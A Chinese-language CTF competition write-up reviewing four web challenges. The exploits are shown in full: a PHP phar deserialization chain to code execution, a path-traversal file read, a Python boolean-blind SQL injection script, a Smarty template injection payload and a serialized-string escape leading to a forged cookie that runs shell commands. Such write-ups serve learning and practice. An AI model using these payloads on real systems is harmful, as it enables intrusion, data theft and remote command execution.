这次整个比赛没拿到奖,自己负主要责任。其实就差一道题了,web方向的sql注入没做出来。可惜的同时也感受到了自己的菜。还是要多练习啊。。。老本吃不了了。
但是比赛就是这样,你觉得自己差一道,可能人家也觉得自己差一道。所以硬实力才是最重要的。
复现一下:
团队赛 共同防御 其实共同防御和CTF差不多,就是多了一个共享解题思路的环节,一血可以去分享解题思路然后拿附加分~~~
ezweb 预期解 刚开始做这个题是带上了很严重的思维定式的。给了源码,源码里面能看到反序列化相关的一些代码,首页又给了文件上传的点,所以很自然的想到了phar反序列化的考点。然而,只是想到了,却忘记怎么利用了。。。最熟悉的陌生人。。后来才发现我的这个思路是预期解。
反序列化存在的点:delete_file.php,因为这个文件是包含了class.php的,我们审计class.php的代码可以找到一个很清晰的链子:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 class bc0n { public $code ; public $name ; public $about = false ; public function __get ($a ) { if ($this ->about){ create_function ("" ,$this ->code); } } public function check ( ) { $s1 = $this ->name; $s1 (); } } class rn0g { public $echofi ; public function __toString ( ) { $this ->echofi->come; } } class qw4e { private $nonono ; public function __construct ($cookie ) { $this ->nonono = $cookie ; } public function __destruct ( ) { if (is_object ($this ->nonono) && method_exists ($this ->nonono,'check' ) ) $this ->nonono->check (); } } class y3ui { public $ability ; private $display ; public function check ( ) { if (preg_match ("/va|file|pa|sys|exec|cat/i" ,$this ->ability)){ echo "hack!!!" ; } } public function __call ($a ,$b ) { $this ->display->come (); } }
从类qw4e出发,会调用destruct函数,让 qw4e类nonono属性的值为y3ui类,就可以让y3ui去调用它的check函数,通过preg_match函数那里,我们将this->ability 赋值为rn0g类,那么就会调用rn0g类的_tostring函数,将rn0g类的echofi属性赋值为bc0n类,就会触发__get函数,同时我们让bc0n的about属性值为True,就会调用creat_function函数,我们通过控制code的值来执行恶意语句。写到这里,就非常清晰了,POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 <?php class bc0n { public $code ; public $name ; public $about ; public function __construct ( ) { $this ->about = True; $this ->code="}phpinfo();//" ; } } class rn0g { public $echofi ; public function __construct ( ) { $this ->echofi = new bc0n (); } } class qw4e { private $nonono ; public function __construct ( ) { $this ->nonono = new y3ui (); } } class y3ui { public $ability ; private $display ; public function __construct ( ) { $this ->ability = new rn0g (); } } $phar =new Phar ("phar.phar" );$phar ->startBuffering ();$phar ->setStub ("<?php __HALT_COMPILER(); ?>" );$phar ->setMetadata (new qw4e ());$phar ->addFromString ("text.txt" ,"hello,phar!" );$phar ->stopBuffering ();
1 2 3 4 5 6 7 //生成phar核心部分 $phar=new Phar("phar.phar"); $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); $phar->setMetadata(new qw4e()); $phar->addFromString("text.txt","hello,phar!"); $phar->stopBuffering();
生成phar的这部分其实是比较固定的,需要改变的地方是$phar->setMetadata(new qw4e()); ,这里改成我们构造好的序列化链。当然这个题是以qw4e 为始。本地访问这个文件,就可以得到.phar 格式的文件。当然你得把本地的php.ini的 phar read only 改成 off
其实这里我们相当于把序列化的内容写到了phar文件里面,(通过setMetadata()),接下来其实就是触发这里面的内容完成反序列化的过程,以往我们是通过unseralize() 函数,而今天我们是通过phar://协议。那么怎么去触发这个协议呢,刚好这里有个:
1 2 3 4 5 6 7 8 9 10 11 public function delfile ( ) { if (file_exists ($this ->fileName)) { if (unlink ($this ->fileName)) { echo "文件 $this ->fileName 已成功删除。" ; } else { echo "无法删除文件 $this ->fileName" ; } } else { echo "文件 $this ->fileName 不存在。" ; } }
unlink函数
所以完整利用链就形成了,我们把生成的phar.phar文件改成phar.png文件上传(因为文件上传这里有白名单限制。),然后通过删除功能抓个包,修改下file参数,来触发反序列化漏洞。
反思 这里说几个出错的地方:
1.poc那里的false要改成true。原来的类里面是把值赋上去了,删掉 ,在构造函数里面重新赋值。
2.注意php的版本 ,因为有个属性是private,php5和php7对应的版本生成的序列化的格式可能有稍许差别。打的时候多试试。
3.注意文件的路径,这里有个坑就是,你上传成功它给的路径为/var/www/html/xxxxx.png ,但其实真正的路径在/var/www/html/uploads/xxx.png ,所以使用 phar协议的时候,是file=phar:///var/www/html/uploads/xxx.png
非预期 团队的大佬道哥想出来的,因为给了源码,可以看到有个view_file.php文件:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php include "class.php" ;if (isset ($_GET ['file' ])) { $fileName = $_GET ['file' ]; if (preg_match ("/flag|\?|\*/" ,$fileName )) { exit (); } $filePath = '../uploads/' . $fileName ; $viewF = new file ($filePath ); $dataUri = $viewF ->viewfile (); } else { echo "没有指定要查看的文件。" ; } ?> <?php if (!empty ($dataUri )): ?> <img src="<?php echo $dataUri ; ?>" alt="Your Image" style="max-width: 100%; height: auto;" > <?php else : ?> <p>图片不存在</p> <?php endif ; ?> </body> </html>
这里对file参数的过滤其实很鸡肋,所以可以直接读文件。 我们再跟进看一下viewfile()函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 public function viewfile ( ) { if (file_exists ($this ->fileName)) { $fileContent = file_get_contents ($this ->fileName); $base64Image = base64_encode ($fileContent ); $imageType = pathinfo ($fileContent , PATHINFO_EXTENSION); $dataUri = 'data:image/' . $imageType . ';base64,' . $base64Image ; return $dataUri ; } else { echo "文件不存在。" ; } }
可以看到把读到的内容进行了base64加密,所以思路明晰了:直接传http://39.106.48.123:37903/code/view_file.php?file=../ffffllll44ggg.php F12看到base64加密的字符串,解码就是flag:
login sql注入类的题目,一开始尝试万能密码发现不行,尝试弱口令爆破,发现也不行。所以考察的点不在这里。
当时做题的时候经过一些测试,发现注释符%23、#、空格、select啥的一些都被过滤了,以为这里很难去正常的爆库、爆表、爆字段名了。因为select没了。其实也是因为忘光了都,这里我们的目的是只要把password的值注出来就行了,不用select也行。
username传值:admin'&&if(ascii(substr(password,1,1))>12,1,0)&&'1 , password传值: 123
这里就可以得到两种结果,if语句为0或者1的时候,会得到 Password incorret 和 login fail 。所以我们可以利用布尔盲注,去把flag注出来,最终的脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 import requestsurl="http://101.200.139.65:35004/login.php" payload="admin'&&if(ascii(substr(password,{},1))>{mid},1,0)&&'1" result = '' i = 0 while True : i = i + 1 head = 32 tail = 127 while head < tail: mid = (head + tail) >> 1 payload = f"admin'&&if(ascii(substr(password,{i} ,1))>{mid} ,1,0)&&'1" data={"username" :payload,"password" :123 } r = requests.post(url=url,data=data) if "Password" in r.text: head = mid + 1 else : tail = mid if head != 32 : result += chr (head) else : break print (result)
个人赛 ezsmarty 提示直接把答案给出来了:poc: {block name="poc*/system('whoami');/*"}ABC{/block} , 然后string:base64:poc , poc用base64加密一下:
Easy_encrypt 这个题目主要考察的是PHP反序列化字符串逃逸,其实当时能看出来考点,很久没做了,不知道咋做了。说一下我当时犯迷糊的地方,我当时认为不需要管它是怎么加密和解密的,到最后都会帮我们还原成初始数据,这样考虑确实没错,但是我们在最后的漏洞利用的时候,我们是得去构造序列化字符串的,然而这个得知道加密函数才能去构造:eeeeeend1ng.php是最后的利用点:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php highlight_file (__file__);include_once "algorithm.php" ;class admin { public $admin ; public $root ; public function __destruct ( ) { echo $this ->root; system ("whoami" ); } } class Date { public $cmd ; public function __toString ( ) { system ($this ->cmd); } } unserialize (decryptCookie (base64_decode ($_COOKIE ['users' ])));?>
可以看到我们传入的数据首先经过base64解密,然后再decryptCookie,所以我们传入的数据是经过加密算法加密然后base64一下的,我们跟进加密算法看一下:
1 2 3 4 5 6 7 8 function encryptCookie ($value ) { global $algorithm ,$secret_key ; $key = $secret_key ; $cipher = $algorithm ; $iv = openssl_random_pseudo_bytes (openssl_cipher_iv_length ($cipher )); $encryptedValue = openssl_encrypt ($value , $cipher , $key , 0 , $iv ) . '::' . bin2hex ($iv ); return $encryptedValue ; }
需要拿到algorithm和secret_key的值:
1 2 3 4 5 6 7 8 9 10 11 class FILE { public $filename ; function __construct ($filename ) { $this ->filename = $filename ; } function __destruct ( ) { $file = file_get_contents ($this ->filename); echo $file ; } }
刚好这里有一个file_get_contents函数,所以可以用来读config.php文件。
所以第一步我们得通过反序列化去触发FILE的 __destruct 函数,然后 filename赋值为php://filter/read=convert.base64-encode/resource=config.php 利用伪协议来读。
那么怎么去触发反序列化漏洞呢?
index.php里面有这样一行代码:
setcookie("user", base64_encode(encryptCookie(b(serialize($login)))), time() + 3600, "/", "", false, true);
然后login.php里面有这样一行:
unserialize(a(decryptCookie(base64_decode($_COOKIE['user']))));
我们跟进看一下b函数:
1 2 3 4 5 6 7 8 9 function b ($string ) { $escape = array ('\'' , '\\\\' ); $escape = '/' . implode ('|' , $escape ) . '/' ; $string = preg_replace ($escape , '_' , $string ); $safe = array ('select' , 'insert' , 'update' , 'delete' , 'where' ,'extractvalue' ,'updatexml' ); $safe = '/' . implode ('|' , $safe ) . '/i' ; return preg_replace ($safe , 'hacker' , $string ); }
会把上面$safe里的值替换成hacker,,比如原先的where是5个字符,替换成hacker的6个字符。这样就会造成数据结构的改变。
之前大佬说的一句话:凡是数据结构发生改变,都有可能产生安全问题。
我们可以这样来构造:利用字符串增多的特性,来造成逃逸。我们实际发挥作用注入的代码为:
";s:6:"status";O:4:"FILE":1:{s:8:"filename";s:59:"php://filter/read=convert.base64-encode/resource=config.php";}}
一共是113个字符,所以我们得构造113个where,这样被替换成hacker,就会使得我们注入的代码逃逸出来。
用python来写:"where"*113 , 最终我们在登录框的username输入:
1 wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";s:6:"status";O:4:"FILE":1:{s:8:"filename";s:59:"php://filter/read=convert.base64-encode/resource=config.php";}}
password随意。可以读到config.php的内容。就可以得到secret_key和algorithm的值,接下来就是构造最终的poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php class admin { public $admin ; public $root ; } class Date { public $cmd ; } function encryptCookie ($value ) { $key = "Harder_says_nice_to_meet_to" ; $cipher ="AES-128-CTR" ; $iv = openssl_random_pseudo_bytes (openssl_cipher_iv_length ($cipher )); $encryptedValue = openssl_encrypt ($value , $cipher , $key , 0 , $iv ) . '::' . bin2hex ($iv ); return $encryptedValue ; } $secret_key = "Harder_says_nice_to_meet_to" ;$algorithm = "AES-128-CTR" ;$a = new admin ();$d = new Date ();$d ->cmd = "cat /flag_aa2cac85700004dff696" ;$a ->root = $d ;$temp = serialize ($a );$temp = encryptCookie ($temp );$temp = base64_encode ($temp );echo $temp ;
在eeeeeend1ng.php下利用,抓包该一下cookie里面的users字段,传过去即可。
小结 1.生成的时候注意php版本,用7的话没有报错,用5.45的时候会产生warning,加密算法会有些问题。
2.最后抓包在cookie那里传值的时候注意,因为一开始那个地方给的是user,而我们实际上得传的是users,所以得改一下。
3.字符串逃逸分为两种,一种是利用字符串增多,一种是利用字符串减少。增多的时候,我们可以直接先把想要逃逸的字符串写好,然后看多少字符,前面拼上即可。
比如这里的";s:xxxx,前面的";都是为了闭合上一个属性的值。然后后面就是我们正常构造的序列化字符串格式。